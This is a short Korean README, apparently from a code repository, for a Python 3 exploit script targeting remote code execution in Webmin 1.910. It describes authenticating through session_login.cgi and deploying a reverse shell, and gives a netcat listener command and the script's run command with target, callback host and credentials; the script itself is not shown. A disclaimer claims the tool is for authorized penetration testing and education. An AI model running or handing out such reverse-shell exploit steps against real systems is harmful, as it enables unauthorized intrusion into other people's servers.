Webmin 1.910 원격 코드 실행 익스플로잇

설명:

이 저장소에는 Webmin 1.910 버전의 원격 코드 실행 취약점을 악용하도록 설계된 Python 3 스크립트가 포함되어 있습니다. 이 스크립트는 session_login.cgi 엔드포인트를 사용하여 인증을 수행하고 리버스 셸 페이로드를 배포하여 대상 시스템에 대한 원격 액세스를 제공합니다. 이 익스플로잇은 승인된 침투 테스트 및 교육 목적으로 제작되었습니다.

로컬 머신에서 리스너를 시작하세요:

nc -lvnp <lport>

다음 명령어로 스크립트를 실행하세요:

python3 webmin_exploit.py --rhost <target_ip> --lhost <your_ip> --lport <your_port> -u <username> -p <password>

Webmin1.910_exploit

인기